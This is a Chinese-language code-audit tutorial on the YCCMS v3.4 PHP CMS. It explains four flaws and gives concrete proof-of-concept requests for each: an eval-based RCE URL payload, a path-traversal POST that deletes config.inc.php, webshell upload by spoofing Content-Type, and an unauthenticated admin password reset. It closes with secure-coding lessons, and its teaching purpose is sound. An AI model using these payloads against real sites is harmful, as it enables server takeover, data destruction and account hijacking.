YCCMS v3.4 代码审计教学文档
一、 程序概述
程序名称: YCCMS v3.4
架构模式: MVC(Model-View-Controller)模式
审计重点: 代码审计旨在发现程序源代码中存在的安全漏洞,如远程代码执行、文件删除、未授权访问等。
二、 核心文件结构与功能分析
理解文件结构是代码审计的第一步,有助于定位关键功能点。
| 文件路径 | 类型/角色 | 核心功能与安全关注点 |
|---|---|---|
/admin/index.php |
入口文件 | 后台主入口。通过require引入/config/run.inc.php完成初始化。 |
/config/run.inc.php |
初始化文件 | 开启Session、设置编码、引入配置和模板引擎、自动加载类、执行单入口模式:Factory::setAction()->run();。这是RCE漏洞的触发起点。 |
/config/config.inc.php |
配置文件 | 包含数据库连接信息、系统配置等。需检查是否存在敏感信息泄露。 |
/controller/Action.class.php |
控制器基类 | 所有控制器的父类。其run()方法存在高危远程代码执行(RCE)漏洞。 |
/controller/AdminAction.class.php |
管理员控制器 | 管理后台首页、更改密码(使用不安全的sha1加密)、显示系统信息。 |
/controller/PicAction.class.php |
图片控制器 | 管理上传的图片。存在未授权访问和任意文件删除漏洞。 |
/controller/CallAction.class.php |
功能控制器 | 处理验证码、文件上传。存在任意文件上传漏洞。 |
/controller/LoginAction.class.php |
登录控制器 | 处理用户登录,使用sha1验证密码,包含验证码校验和“记住密码”功能。 |
/public/class/Factory.class.php |
工厂类 | 负责创建控制器对象。其setAction()方法是绕过安全检查并触发RCE的关键。 |
三、 关键漏洞深度剖析与复现
漏洞1:远程代码执行(RCE)
漏洞文件: /controller/Action.class.php
漏洞代码:
public function run() {
$_m = isset($_GET['m']) ? $_GET['m'] : 'index'; // 获取URL中的'm'参数
method_exists($this, $_m) ? eval('$this->'.$_m.'();') : $this->index();
// 使用eval()动态执行方法,此处$_m完全可控,导致代码执行。
}
漏洞成因:
eval()函数直接执行字符串形式的PHP代码。- 参数
$_m来自用户输入的$_GET['m'],未经严格过滤。 - 攻击者可以构造恶意参数,注入任意PHP代码。
漏洞利用链分析:
仅仅直接访问Action.class.php是无法利用的,需要找到一个能调用到它的run()方法的地方。利用链如下:
- 触发点:
/config/run.inc.php中的一行代码Factory::setAction()->run();。 - 绕过检查: 查看
Factory.class.php的setAction()方法。static public function setAction(){ $_a = self::getA(); // 从URL获取'a'参数,例如 ?a=admin // ... 进行一些控制器名的安全检查 ... if (!file_exists(ROOT_PATH.'/controller/'.ucfirst($_a).'Action.class.php')) $_a = 'Login'; eval('self::$_obj = new '.ucfirst($_a).'Action();'); // 动态实例化控制器 return self::$_obj; } - 构造POC: 目标是让
Factory::setAction()实例化一个不存在的控制器,从而触发Action基类的run()方法,并让$_m参数执行我们的代码。- 思路: 利用
file_exists()函数的特性,它允许路径中包含/../这样的目录遍历字符。 - Payload:
http://yccms-site.com/admin/?a=Factory();phpinfo();//../ - 解释:
a=Factory();phpinfo();//../传递给setAction()方法。file_exists(.../controller/Factory();phpinfo();//../Action.class.php)会进行路径解析,//../会使得路径回退到上级目录,最终可能检查一个不存在的文件,返回false。- 由于文件不存在,
$_a被赋值为'Login',但关键的一步是,在检查之前,原始的$_a已经被拼接进了eval语句:eval('self::$_obj = new '.ucfirst($_a).'Action();'); - 这行代码变成了:
eval('self::$_obj = new Factory();phpinfo();//../Action();'); - 这相当于执行了:
new Factory(); phpinfo(); // ../Action();(//是注释,后面代码无效) - 因此,
phpinfo()函数就被成功执行了。
- 思路: 利用
漏洞2:任意文件删除
漏洞文件: /controller/PicAction.class.php 中的 delall() 方法。
漏洞代码:
public function delall(){
if(isset($_POST['send'])){
...
$_fileDir = ROOT_PATH.'/uploads/'; // 基础目录
foreach($_POST['pid'] as $_value){ // 遍历用户提交的文件名数组
$_filePath = $_fileDir . $_value; // 直接拼接路径
if(!unlink($_filePath)){ // 删除文件
...
}
}
}
}
漏洞成因:
- 该功能没有验证用户登录状态,导致未授权访问。
- 在拼接文件路径时,直接使用用户输入的
$_value,未做任何过滤。 - 攻击者可以通过路径遍历(
../)跳转到任意目录,删除任意文件。
复现步骤:
- 访问图片管理页面:
http://yccms-site.com/admin/?a=pic(即使未登录也可能访问)。 - 选择一张图片进行删除,并抓取HTTP请求包。
- 修改POST数据,进行路径遍历攻击。
- 原始数据:
pid[0]=1.png&chkall=on&send=删除选中图片 - 恶意POC:
pid[0]=../../../config/config.inc.php&chkall=on&send=删除选中图片 - URL编码后:
pid%5B0%5D=../../../config/config.inc.php&chkall=on&send=%E5%88%A0%E9%99%A4%E9%80%89%E4%B8%AD%E5%9B%BE%E7%89%87
- 原始数据:
- 发送请求,即可删除根目录下的
config.inc.php文件(可能包含数据库密码)。
漏洞3:任意文件上传
漏洞文件: /controller/CallAction.class.php 中的 upLoad() 和 xhUp() 方法。
漏洞成因:
这两个上传功能仅通过检查 $_FILES['file']['type'](即客户端传来的Content-Type)来判断文件类型,而不是检查文件真实内容(如文件头Magic Number)。攻击者可以轻易伪造Content-Type来上传PHP等恶意文件。
复现步骤:
- 准备一个名为
shell.php的Webshell。 - 使用Burp Suite等工具拦截上传请求。
- 将请求中的
Content-Type修改为image/jpeg或image/png。 - 放行请求,即可成功上传PHP文件,从而获取服务器控制权。
漏洞4:未授权更改管理员密码
漏洞文件: /controller/AdminAction.class.php 中的 update() 方法。
漏洞成因:
该功能用于修改管理员密码,但代码中缺乏对当前用户会话(Session)的有效验证。虽然页面可能通过检查 $_SESSION['admin'] 来显示,但处理表单提交的 update() 方法本身没有再次验证,导致攻击者可以直接提交POST请求修改密码。
复现步骤:
- 构造一个POST请求,直接发送到
http://yccms-site.com/admin/?a=admin&m=update。 - POST数据包含新的用户名和密码:
username=hacker&password=newpassword¬password=newpassword&send=submit。 - 请求成功后,数据库中ID为1的管理员账号密码即被修改,攻击者可以使用新密码登录后台。
四、 知识点总结
-
PHP安全函数:
eval(): 极度危险,应避免使用。如果必须使用,必须对输入进行严格的白名单过滤。unlink(): 删除文件时,必须确保文件路径是受控的,防止路径遍历。file_exists(): 可用于安全检查,但要注意其路径解析逻辑可能被绕过。
-
加密与安全:
- SHA1 已被证明是不安全的哈希算法,对于密码存储,应使用
password_hash()函数。
- SHA1 已被证明是不安全的哈希算法,对于密码存储,应使用
-
输入验证:
- 永远不要信任用户输入。对所有来自客户端(GET, POST, COOKIE)的数据都必须进行验证和过滤。
- 文件上传应检查文件扩展名和文件内容头,并将文件存储在Web目录之外,或通过脚本间接访问。
-
权限控制:
- 所有后台功能必须在操作前验证用户登录状态和权限(
isset($_SESSION['admin'])),最好在基类构造函数中统一处理。
- 所有后台功能必须在操作前验证用户登录状态和权限(
-
MVC架构审计要点:
- 控制器(Controller): 重点关注用户输入的处理、权限验证、逻辑流程。
- 模型(Model): 重点关注SQL语句的拼接,防止SQL注入。
- 视图(View): 重点关注输出是否经过转义,防止XSS。
通过本次对YCCMS的审计,我们可以清晰地看到,即使是简单的MVC框架,如果开发者在安全意识上存在疏忽,也会导致严重的安全问题。代码审计的核心思路就是 “追踪用户输入” 和 “验证安全边界”。